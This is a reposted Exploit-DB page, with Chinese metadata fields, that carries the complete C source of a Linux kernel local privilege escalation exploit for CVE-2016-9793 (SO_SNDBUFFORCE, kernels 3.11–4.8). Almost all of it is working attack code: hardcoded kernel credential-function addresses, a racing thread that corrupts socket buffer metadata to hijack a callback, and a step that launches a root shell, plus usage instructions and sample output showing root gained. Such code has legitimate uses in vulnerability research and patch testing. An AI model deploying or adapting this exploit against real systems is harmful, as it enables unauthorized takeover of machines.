Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation

  • 作者: Andrey Konovalov
    日期: 2017-03-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41995/
  • // CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
    // No KASLR, SMEP or SMAP bypass included
    // Affected kernels: 3.11 -> 4.8
    // Tested in QEMU only
    // https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
    //
    // Usage:
    // # gcc -pthread exploit.c -o exploit
    // # chown guest:guest exploit
    // # setcap cap_net_admin+ep ./exploit
    // # su guest
    // $ whoami
    // guest
    // $ ./exploit
    // [.] userspace payload mmapped at 0xfffff000
    // [.] overwriting thread started
    // [.] sockets opened
    // [.] sock->sk_sndbuf set to fffffe00
    // [.] writing to socket
    // [+] got r00t
    // # whoami
    // root
    //
    // Andrey Konovalov <andreyknvl@gmail.com>
    
    #define _GNU_SOURCE
    
    #include <sys/socket.h>
    #include <sys/stat.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/mman.h>
    
    #include <pthread.h>
    #include <signal.h>
    #include <stdarg.h>
    #include <stddef.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #define COMMIT_CREDS 0xffffffff81079860ul
    #define PREPARE_KERNEL_CRED 0xffffffff81079b20ul
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    
    _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
    _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
    
    void get_root(void) {
     	commit_creds(prepare_kernel_cred(0));
    }
    
    struct ubuf_info_t {
    uint64_t callback;// void (*callback)(struct ubuf_info *, bool)
    uint64_t ctx; // void *
    uint64_t desc;// unsigned long
    };
    
    struct skb_shared_info_t {
    uint8_tnr_frags;// unsigned char
    uint8_ttx_flags;// __u8
    uint16_t gso_size;// unsigned short
    uint16_t gso_segs;// unsigned short
    uint16_t gso_type;// unsigned short
    uint64_t frag_list; // struct sk_buff *
    uint64_t hwtstamps; // struct skb_shared_hwtstamps
    uint32_t tskey; // u32
    uint32_t ip6_frag_id; // __be32
    uint32_t dataref; // atomic_t
    uint64_t destructor_arg;// void *
    uint8_tfrags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
    };
    
    // sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
    #define SNDBUF 0xffffff00
    #define SHINFO 0x00000000fffffed0ul
    
    struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
    //struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
    struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;
    
    #define SKBTX_DEV_ZEROCOPY (1 << 3)
    
    void* skb_thr(void* arg) {
    	while (1) {
    		skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
    		skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
    	}
    }
    
    int sockets[2];
    
    void *write_thr(void *arg) {
    	// Write blocks until setsockopt(SO_SNDBUF).
    	write(sockets[1], "\x5c", 1);
    
    	if (getuid() == 0) {
    		printf("[+] got r00t\n");
    		execl("/bin/bash", "bash", NULL);
    		perror("execl()");
    	}
    	printf("[-] something went wrong\n");
    }
    
    int main() {
    	void *addr;
    	int rv;
    	uint32_t sndbuf;
    
    	addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
    		PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
    		-1, 0);
    	if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
    		perror("mmap()");
    		exit(EXIT_FAILURE);
    	}
    
    	printf("[.] userspace payload mmapped at %p\n", addr);
    
     	pthread_t skb_th;
    	rv = pthread_create(&skb_th, 0, skb_thr, NULL);
    	if (rv != 0) {
    		perror("pthread_create()");
    		exit(EXIT_FAILURE);
    	}
    	usleep(10000);
    
    	printf("[.] overwriting thread started\n");
    
    	rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
    	if (rv != 0) {
    		perror("socketpair()");
    		exit(EXIT_FAILURE);
    	}
    
    	printf("[.] sockets opened\n");
    
    	sndbuf = SNDBUF;
    	rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
    			&sndbuf, sizeof(sndbuf));
    	if (rv != 0) {
    		perror("setsockopt()");
    		exit(EXIT_FAILURE);
    	}
    
    	printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);
    
    	pthread_t write_th;
    	rv = pthread_create(&write_th, 0, write_thr, NULL);
    	if (rv != 0) {
    		perror("pthread_create()");
    		exit(EXIT_FAILURE);
    	}
    	usleep(10000);
    
    	printf("[.] writing to socket\n");
    
    	// Wake up blocked write.
    	rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
    			&sndbuf, sizeof(sndbuf));
    	if (rv != 0) {
    		perror("setsockopt()");
    		exit(EXIT_FAILURE);
    	}
    	usleep(10000);
    
    	close(sockets[0]);
    	close(sockets[1]);
    
    	return 0;
    }